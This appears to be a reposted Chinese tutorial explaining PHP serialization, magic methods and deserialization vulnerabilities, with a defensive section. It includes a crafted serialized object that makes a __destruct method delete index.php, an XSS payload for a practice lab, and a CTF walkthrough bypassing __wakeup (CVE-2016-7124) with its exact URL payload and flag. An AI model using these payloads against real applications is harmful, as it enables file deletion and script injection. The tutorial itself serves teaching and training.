我的编程空间,编程开发者的网络收藏夹
学习永远不晚

PHP反序列化漏洞实例分析

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

PHP反序列化漏洞实例分析

本篇内容介绍了“PHP反序列化漏洞实例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

PHP反序列化漏洞实例分析

一、PHP面向对象编程

面向对象的程序设计(Object-oriented programming,OOP)中,

对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。

是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。

创建一个PHP类:

<?phpclass TestClass //定义一个类{//一个变量public $variable = 'This is a string';//一个方法public function PrintVariable(){echo $this->variable;}}//创建一个对象$object = new TestClass();//调用一个方法$object->PrintVariable();?>

public、protected、private

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。

public(公有):公有的类成员可以在任何地方被访问

protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问

private(私有):私有的类成员则只能被其定义所在的类访问

注意:访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:

public:属性被序列化的时候属性值会变成 属性名

protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

其中:\x00表示空字符,但是还是占用一个字符位置(空格),如下例

<?phpclass People{    public $id;    protected $gender;    private $age;    public function __construct(){        $this->id = 'Hardworking666';        $this->gender = 'male';        $this->age = '18';    }}$a = new People();echo serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}

魔术方法(magic函数)

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)

PHP官方——魔术方法
PHP中16 个魔术方法详解

类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用

__construct()            //类的构造函数,创建对象时触发__destruct()             //类的析构函数,对象被销毁时触发__call()                 //在对象上下文中调用不可访问的方法时触发__callStatic()           //在静态上下文中调用不可访问的方法时触发__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义__set()                  //在给不可访问属性赋值时触发__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发__unset()                //在不可访问的属性上使用unset()时触发__invoke()               //当尝试以调用函数的方式调用一个对象时触发__sleep()                //执行serialize()时,先会调用这个方法__wakeup()               //执行unserialize()时,先会调用这个方法__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

我们需要重点关注一下5个魔术方法,所以再强调一下:

__construct:构造函数,当一个对象创建时调用

__destruct:析构函数,当一个对象被销毁时调用

__toString:当一个对象被当作一个字符串时使用

__sleep:在对象序列化的时候调用

__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

<?phpclass TestClass{    //一个变量    public $variable = 'This is a string';    //一个方法    public function PrintVariable()    {        echo $this->variable.'<br />';    }    //构造函数    public function  __construct()    {        echo '__construct<br />';    }    //析构函数    public function __destruct()    {        echo '__destruct<br />';    }    //当对象被当作一个字符串    public function __toString()    {        return '__toString<br />';    }}//创建一个对象//__construct会被调用$object = new TestClass();//创建一个方法//‘This is a string’将会被输出$object->PrintVariable();//对象被当作一个字符串//toString会被调用echo $object;//php脚本要结束时,__destruct会被调用?>

输出结果:

__constructThis is a string__toString__destruct

__toString()这个魔术方法能触发的因素太多,所以有必要列一下:

1.  echo($obj)/print($obj)打印时会触发 2.  反序列化对象与字符串连接时 3.  反序列化对象参与格式化字符串时 4.  反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 5.  反序列化对象参与格式化SQL语句,绑定参数时 6.  反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等 7.  在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用 8.  反序列化的对象作为class_exists()的参数的时候

魔术方法在反序列化攻击中的作用

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

通过下例理解魔术方法在反序列漏洞中的作用,代码如下:

二、PHP序列化和反序列化

PHP序列化

有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。

json数据使用 , 分隔开,数据内使用 : 分隔

json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库

相关概念可以参考我以前的文章:
Python序列化与反序列化详解(包括json和json模块详解)

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

通过例子来看PHP序列化后的格式:

<?phpclass User{    //类的数据    public $age = 0;    public $name = '';    //输出数据    public function printdata()    {        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';    } // “.”表示字符串连接}//创建一个对象$usr = new User();//设置数据$usr->age = 18;$usr->name = 'Hardworking666';//输出数据$usr->printdata();//输出序列化后的数据echo serialize($usr)?>

输出结果:

User Hardworking666 is 18 years old.O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 就是对象user序列化后的形式。

“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数

“{}”里面是参数的key和value,

“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。

序列化格式:

a - array 数组型b - boolean 布尔型d - double 浮点型i - integer 整数型o - common object 共同对象r - objec reference 对象引用s - non-escaped binary string 非转义的二进制字符串S - escaped binary string 转义的二进制字符串C - custom object 自定义对象O - class 对象N - null 空R - pointer reference 指针引用U - unicode string Unicode 编码的字符串

PHP序列化需注意以下几点:

序列化只序列属性,不序列方法
2、因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
3、我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击

PHP反序列化

对上例进行反序列化:

<?phpclass User{    //类的数据    public $age = 0;    public $name = '';    //输出数据    public function printdata()    {        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';    }}//重建对象$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');//输出数据$usr->printdata();?>
User Hardworking666 is 18 years old.

_sleep 方法在一个对象被序列化时调用,_wakeup方法在一个对象被反序列化时调用

<?phpclass test{    public $variable = '变量反序列化后都要销毁'; //公共变量    public $variable2 = 'OTHER';    public function printvariable()    {        echo $this->variable.'<br />';    }    public function __construct()    {        echo '__construct'.'<br />';    }    public function __destruct()    {        echo '__destruct'.'<br />';    }    public function __wakeup()    {        echo '__wakeup'.'<br />';    }    public function __sleep()    {        echo '__sleep'.'<br />';        return array('variable','variable2');    }}//创建一个对象,回调用__construct$object = new test();    //序列化一个对象,会调用__sleep$serialized = serialize($object);    //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />';    //重建对象,会调用__wakeup$object2 = unserialize($serialized);    //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable();    //脚本结束,会调用__destruct?>
__construct__sleepSerialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}__wakeup变量反序列化后都要销毁__destruct__destruct

从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

三、PHP反序列化漏洞原理

序列化和反序列化本身没有问题,

但是反序列化内容用户可控

后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

当传给unserialize()参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

调用__destruct删除

存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除:

//logdata.php<?phpclass logfile{    //log文件名    public $filename = 'error.log';    //一些用于储存日志的代码    public function logdata($text)    {        echo 'log data:'.$text.'<br />';        file_put_contents($this->filename,$text,FILE_APPEND);    }    //destrcuctor 删除日志文件    public function __destruct()    {        echo '__destruct deletes '.$this->filename.'file.<br />';        unlink(dirname(__FILE__).'/'.$this->filename);    }}?>

调用这个类:

<?phpinclude 'logdata.php'class User{    //类数据    public $age = 0;    public $name = '';    //输出数据    public function printdata()    {        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';    }}//重建数据$usr = unserialize($_GET['usr_serialized']);?>

代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以构造输入,删除任意文件。

如构造输入删除目录下的index.php文件:

<?phpinclude 'logdata.php';$object = new logfile();$object->filename = 'index.php';echo serialize($object).'<br />';?>

上面展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup__sleep__toString等其他magic函数。

比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。

XSS(跨站脚本攻击)攻击

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

例如,皮卡丘靶场PHP反序列化漏洞

$html=";if(isset($_POST['o'])){    $s = $_POST['o'];    if(!@$unser = unserialize($s)){        $html.="<p>错误输出</p>";    }else{        $html.="<p>{$unser->test)</p>";    }

为了执行<script>alert('xss')</script>,Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

其他知识点:

unserialize漏洞依赖条件
1、unserialize函数的参数可控
2、脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值

防范方法
1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染

四、实例

PHP反序列化绕过__wakeup() CTF例题

攻防世界xctf web unserialize3

打开网址后的代码:

class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=

已知在使用 unserialize() 反序列化时会先调用 __wakeup()函数,

而本题的关键就是如何 绕过 __wakeup()函数,就是 在反序列化的时候不调用它

序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的
这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。

我们利用php中的new运算符,实例化类xctf。

new 是申请空间的操作符,一般用于类。
比如定义了一个 class a{public i=0;}
$c = new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0

构造序列化的代码在编辑器内执行:

<?phpclass xctf{public $flag = '111'; //public定义flag变量公开可见public function __wakeup(){exit('bad requests');}}//题目少了一个},这里补上$a=new xctf();echo(serialize($a));?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

序列化返回的字符串格式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}

O:表示序列化的是对象
<length>:表示序列化的类名称长度
<class name>:表示序列化的类的名称
<n>:表示被序列化的对象的属性个数
<field name 1>:属性名
<field value 1>:属性值

所以要修改属性值<n>,既把1改为2以上。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在url中输入:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}

漏洞:
__wakeup绕过(CVE-2016-7124)
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

官方给出的影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

“PHP反序列化漏洞实例分析”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注编程网网站,小编将为大家输出更多高质量的实用文章!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

PHP反序列化漏洞实例分析

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

PHP反序列化漏洞实例分析

本篇内容介绍了“PHP反序列化漏洞实例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、PHP面向对象编程在面向对象的程序设计(Obje
2023-06-29

Thinkphp3.2.3反序列化漏洞实例代码分析

这篇文章主要介绍“Thinkphp3.2.3反序列化漏洞实例代码分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Thinkphp3.2.3反序列化漏洞实例代码分析”文章能帮助大家解决问题。魔术方法
2023-07-05

PHP的session反序列化漏洞分析

这篇文章主要讲解了“PHP的session反序列化漏洞分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“PHP的session反序列化漏洞分析”吧!PHP session反序列化漏洞PHP
2023-06-30

PHP反序列化漏洞怎么修复

修复PHP反序列化漏洞可以采取以下措施:检查并过滤用户输入:在反序列化之前,对用户输入进行严格的过滤和检查,只允许特定的类型和结构进行反序列化。可以使用白名单机制来限制反序列化的类和方法。使用安全的反序列化函数:尽量使用安全的反序列化函数,
2023-10-22

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录